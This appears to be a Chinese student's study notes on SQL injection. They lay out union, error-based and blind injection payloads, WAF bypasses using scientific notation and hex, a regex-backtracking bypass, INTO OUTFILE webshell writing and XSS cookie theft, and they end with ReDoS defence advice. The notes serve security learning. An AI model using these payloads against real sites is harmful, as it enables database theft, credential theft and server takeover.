本文·先阐述学习 SQL 注入的意义 ------ 可针对互联网(Java/PHP/Python+MySQL)、工业(.NET/ASPX+MSSQL)、银行金融(.NET/Java+Oracle)不同场景提升系统防御、排查能力,防范数据篡改、系统瘫痪等风险;接着讲解 SQL 注入核心知识,包括 substring、length 等常用函数,information_schema 系统库,union/join 联表查询、order by 确定列数、注释符构造语句等技巧,以及 "获取库名→表名→列名→数据" 的基本注入步骤;还介绍了报错注入、盲注(布尔 / 时间)等实操类型,科学计数法、十六进制编码等 WAF 绕过方法,正则回溯攻击的原理与绕过 / 防御手段,mysql 利用 into outfile getshell 的苛刻条件,魔术开关、strpos 等相关问题,以及报错注入类型转换错误的解决办法、union 查询结果显示规则等;最后补充了表单 post 漏洞、信息收集(鹰图、robots.txt)、XSS(xsshunter)等辅助安全内容,和正则回溯攻击的多维度防御策略。
为什么要学sql注入
更好地防御:写出更安全的代码,搭建更稳固的系统
提升安全排查与应急响应能力:应对已存在的安全风险
学习 SQL 注入的意义:工业系统多为长期运行的老旧系统,.NET/MSSQL 架构的存量漏洞较多,学习 SQL 注入能精准定位这类系统的安全隐患;防止恶意人员通过 SQL 注入篡改工业数据(比如电力调度数据、核电站设备监控数据)、瘫痪控制系统,避免引发生产事故、公共安全事件。
sql注入:就是本不该被查询的,被查询到了
第一互联网产品(Java/PHP/Python + MySQL)联网产品
互联网产品用户量大、数据价值高(用户信息、交易数据、内容数据),且多为对外公开访问,是 SQL 注入攻击的高发区。
这也是我们学习的主要
第二 工业产品(核电站、烟草、电力 + .NET/ASPX + MSSQL)
这类工业控制系统看似封闭,但随着 "工业互联网" 的推进,越来越多系统具备网络连接能力,且系统的安全性直接关联公共安全、国家利益,容错率极低。
第三 银行金融 有相关的产品(.NET/Java + Oracle 为主)
金融系统的核心是资金数据和用户征信数据,具有极高的经济价值,是网络攻击的重点目标,SQL 注入的危害会被无限放大。
Oracle 数据库相比 MySQL,SQL 语法更复杂,注入场景更多样,学习 SQL 注入能针对性掌握 Oracle 架构下的安全防御技巧。
sql注入常用截断函数和其他函数
以下均为常用截断函数
select substring('root',2,2) 从第二位开始截断2位
mid(字符串,开始,长度)
substr
left
right
以下为函数实际应用
length(database()); 长度8
substr(database(),1,1); 结果s
ascii(substr(database(),1,1)); 115 可见字符33-127
eg:select if(now()=sysdata(),database(),user()); 对走database,错走user
infomation_schema--重要的系统库:各种信息
重点关注以下信息
schemata--库名 关注字段:schema_name---库名
tables------所有的库名表名(重点关注)
columns---库,表,列 记录了所有列名
联表查询
有union和join两种查询,以下是前置基础
union:用于合并多个 SELECT 语句的结果集,核心是"合并行",不关联表,要求多个 SELECT 的列数、列类型必须一致。
用法:SELECT 列1, 列2 FROM 表1 UNION SELECT 列1, 列2 FROM 表2;
join:用于多表关联查询,根据表间的关联字段(主键/外键)合并多个表的数据,核心是"按关联条件匹配行"。
内连接: SELECT 列 FROM 表1 INNER JOIN 表2 ON 表1.关联列=表2.关联列; 只返回两表匹配成功的行
左连接: SELECT 列 FROM 表1 LEFT JOIN 表2 ON 关联条件; 返回表1所有行,表2无匹配则补 NULL
右连接: SELECT 列 FROM 表1 RIGHT JOIN 表2 ON 关联条件; 返回表2所有行,表1无匹配则补 NULL
联表查询:前提前端要有回显
select*from user union select *from emails;
问题:入侵别人如何确定列数?
order by(排序,asc正,dasc倒)
利用报错知道几列:select *from users oder by 4 desc;
select *from users where id='1' order by ---+ 'limit 0,1'; 要让数据库误解
注释:- - +;#;/**/ post传参要用#注释
真实注入时:?id=-1' union select 1,database(),users() ;- -+
思考:为什么前面要为-1 ,
原因:利用不存在信息查询想要的信息,清空原始结果,返回注入的查询结果,union要两个查询数据一致,数据类型兼容才生效,先前为正确的,只会优先显示原始结果,会覆盖注入结果
我们最终的目的是得到管理员的账号密码(infomationsy所有表)
基本注入步骤
group_concat合并所有字段为一行
1库2表3字段4列
1、获取所有库名:select schema_name from infomation_schema.schemata;
2、知库求表
方法一:select table_name from infomation_schema.tables where table_schema='库名' limit 2,1 ;取1个
方法二:select group_concat(table_name )from infomation_schema.tables where table_schema='库名;
3、知表找列
方法一:select column_name from infomation_schema.columns where table_schema='数据库名' and table_name='表名';
方法二:select group_concat( column_name) from infomation_schema.columns where table_schema='数据库名' and table_name='表名';
4、找数据
就是正常查找自己想要的数据
报错注入
常用的函数:updataxml,extractvalue(1,concat()),fool
?id=1' and updataxml(1,concat(ox7e,database(),ox7e),1);
前面id=1必须为真
updataxml 在mysql中的使用方法
3个参数,1、原本xml文本,2、xoath路径,3、更新替换的内容
xpath路径:注入时构造成非法的路径,把查询语句嵌入进去
xpath 最多为32位,超过32位则要利用substr截断函数
SELECT UPDATEXML(1, concat('~', SUBSTR((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'), 1, 32)) , 1);
SELECT UPDATEXML(1, concat('~', SUBSTR((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'), 33, 64)), 1);
盲注
SQL 注入的一种进阶形式,目标网站不会直接返回数据库错误信息或查询结果,只能通过页面的"是/否""真/假"等间接反馈
length(databse())=7 ;- -+ 有显示即正确-判断长度
ascii(substr(database(),1,1))>115 ;--+ 来判断显示字母
科学计数法-前提数字型注入
1. 绕过数字型WAF拦截 ***重点
当WAF拦截纯数字Payload时,可将数字转为科学计数法形式:
原始Payload(可能被拦截)?id=1 AND 1=1
科学计数法绕过
?id=1e0 AND 1e0=1e0
1e0 等价于 1,1e3 等价于 1000,数据库会自动解析为数字,而WAF可能识别为字符串或未知格式,从而放行。
2. 十六进制编码绕过字符检测
对于字符型注入,可将字符串转为十六进制(本质也是一种科学计数法衍生技巧),避免直接出现敏感字符:
原始Payload(可能被拦截)
?id=1' AND username='admin'--
十六进制绕过(admin 的十六进制为 0x61646d696e)
?id=1' AND username=0x61646d696e--
数据库会自动将 0x 开头的十六进制字符串解析为原字符,WAF无法直接识别,从而绕过关键词拦截。
3.结合函数混淆Payload
科学计数法可与 ASCII()、SUBSTR() 等函数结合,进一步隐藏注入意图:
原始布尔盲注Payload
?id=1 AND ASCII(SUBSTR(DATABASE(),1,1))=115
科学计数法绕过(115 转为 1.15e2)
?id=1 AND ASCII(SUBSTR(DATABASE(),1,1))=1.15e2
单词边界
在正则表达式中,单词边界是一个用于匹配单词位置的锚点,用字符 \b 表示,它匹配的是"单词字符"与"非单词字符"之间的位置,不匹配任何实际字符。
规则
-
单词字符:默认指 [a-zA-Z0-9_](字母、数字、下划线)
-
非单词字符:指除上述字符外的所有字符(如空格、标点、换行等)
eg:/\b select(.*)from\b
有回溯过程
回溯
php正则表达式
1、回溯过程有限
2、当超过回溯最大长度会崩溃,退出
查看回溯次数:网站regexcol.com
绕过方式:加入100万个不匹配的字符
矛盾的if
解决方法:
1、数组绕过,前提是没有限制不让用数组
aaa[]=1
2、回溯用脚本
strpos
判断某个字符首次出现的位置,应用====运算符来判断返回值 ;
!== 严格不相等(值,类型)
outfile mysql如何getshell(面试常问) into outfile
前提:1、字段内容? <?php phpinfo(); ,一句话木马
2、文件路径? web物理路径
3、文件名? xxx.php
4、导出这个文件有什么帮助 直接getshell
但是实际上几乎不可以这个漏洞,因为限制条件及其苛刻(以下三个条件必须满足)
限制条件:
1、必须是root权限
2、在某个字段必须为空:secure_file_priv默认位null不可导出,有路径或者空白可以导出(如果路径位/tmp没有用)
3、知道本网站物理路径(猜或者爆破)
into outfile使用
into outfile 本网站绝对路径/保存文件名.txt
实际:id=1')) union select 1,'<?php phpinfo();?> 'out file 路径/ww.php;- -+
布尔注入
方法:报错注入,脚本(二分),bp爆破
时间盲注
and if(ascii(substr(database(),1,1))=115,sleep(3),0); - -+
魔术开关=stripslashes
会转义特殊字符,代表 '失效,逃逸不出单引号的限制
魔术开关5.3以前存在,5.3以后默认关闭
1、传入admin\ ' 本来转义了
2、魔术开关再次转义 --admin \\ ' 防止注入失效了
3、利用函数stripslashes再次使 '生效
思考1重庆再生资源
报错注入改为union select(test.py)
除了正则回溯以外有无其他的思路拿下
1、服务器上有多个站点,用旁注拿下周边的,权限不严就能拿下主要网站
2、利用存储型xss拿后台管理员的cookies(xsshunter网站管理)
思考2如何防御正则回溯、
从源头避免回溯漏洞,关键是消除正则中的贪婪匹配嵌套和可选分支歧义
正则回溯攻击(也叫正则表达式DoS,ReDoS)是攻击者构造特殊字符串,让正则表达式的回溯次数呈指数级增长,最终导致服务器CPU占满、服务瘫痪的攻击方式。防御核心是避免写低效正则+限制正则执行资源+加固应用层防护,分三个维度讲具体做法:
一、核心:编写无回溯/低回溯的正则表达式
1. 杜绝「贪婪量词+可选分支」的危险组合
危险示例(会引发大量回溯):
^(a+)+$
匹配aaaaaaaaaaaaaaaaaaaaa!时,(a+)+会不断尝试拆分a的数量,回溯次数呈指数级增长。
修复方案:
简化正则,去掉多余的分组和量词嵌套:
^a+$
2. 使用非贪婪量词时避免歧义
非贪婪量词(*?/+?/??)并非绝对安全,需结合场景使用,同时避免无意义的可选分支。
示例:
^(.+?)(abc|def)$匹配长字符串时,会反复回溯匹配abc/def。
修复方案:
明确匹配边界,减少分支歧义:
^(.+)(abc|def)$
(或根据场景直接限定结尾字符,避免模糊匹配)
3. 用原子组阻止回溯(部分语言支持)
原子组((?>pattern))会让正则引擎不保存回溯点,匹配失败直接退出,适用于确定无需回溯的场景。
示例:
^(?>a+)$
匹配a串时,不会产生任何回溯,性能拉满.
4. 限定匹配长度
对可变长度的匹配(如*/+)增加长度限制,避免无限匹配引发的回溯。
危险:
^[a-zA-Z0-9]*$
修复方案:
^[a-zA-Z0-9]{0,50}$
(根据需求限定最大长度,如50位)
二、应用层:限制正则执行的资源与超时
1. 设置正则执行超时时间
编程语言层面:Python用re模块的超时参数(Python 3.5+支持),Java用Pattern.quote()+线程超时,PHP用pcre.backtrack_limit限制回溯次数。
Python 示例:设置超时1秒
import re
try:
re.match(r"^(a+)+$", "a"*10000, timeout=1)
except re.TimeoutError:
print("正则执行超时,疑似ReDoS攻击")
2. 限制输入字符串长度
对用户输入做前置校验,拒绝超长字符串,从源头减少回溯的可能性。
3. 禁用危险正则语法
过滤用户可控的正则输入,禁止使用*/+/()等易引发回溯的语法。
三、运维/架构层:加固服务防护
1. 隔离正则执行进程
将正则匹配操作放到独立的进程/容器中执行,避免单个请求的正则DoS拖垮整个服务。
2. 监控CPU与回溯指标
监控服务器CPU使用率,以及正则引擎的回溯次数,发现异常立即阻断请求。
3. 使用WAF拦截恶意请求
配置WAF规则,拦截特征明显的ReDoS攻击字符串,如超长重复字符+正则触发字符。
只要正则包含以下特征,就存在ReDoS风险:
1. 嵌套的贪婪量词:(a+)+、(a*)*、(a+)?;
2. 无长度限制的模糊匹配:.+、.*搭配可选分支;
3. 多层嵌套的分组:((((a+)))+)。
思考3
1'and updataxml (select group_concat table_name) 可以拿到
1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) ;#

a' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) ;#
为什么报这个错误:a'and truncated incorrect BOUBLE value;'a'

原因:1和a 触发不同的语法分析逻辑
'1' 是字符串,但MySQL会自动将数字型字符串'1'转为数值1,和and后的布尔表达式(updatexml的报错逻辑)做运算,类型匹配,无转换错误;
'a' 是纯字母字符串,MySQL尝试将其转为DOUBLE数值(因为and需要布尔/数值型运算),但a无法转为任何数值,直接抛出Truncated incorrect DOUBLE value: 'a' 错误;
这个错误发生在updatexml执行之前,所以报错注入逻辑根本没机会运行,你只看到了类型转换错误
解决办法:
方法一:a' and 1=updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)
原理1=强制MySQL先执行updatexml的返回值(布尔型),不再尝试将'a'转为DOUBLE,直接触发报错注入
除了updatexml以外我还可以用什么函数报错注入
a' and xxx什么可以成功、
"SELECT username, password FROM users WHERE username='a' union select 1,user()#"
第一 他是否可以查询到数据
username字段 能不能是admin
为什么?
注意
1、表单很容易出现post漏洞
robows.txt是什么
信息收集:鹰图平台,蜘蛛
xsshunter网站管理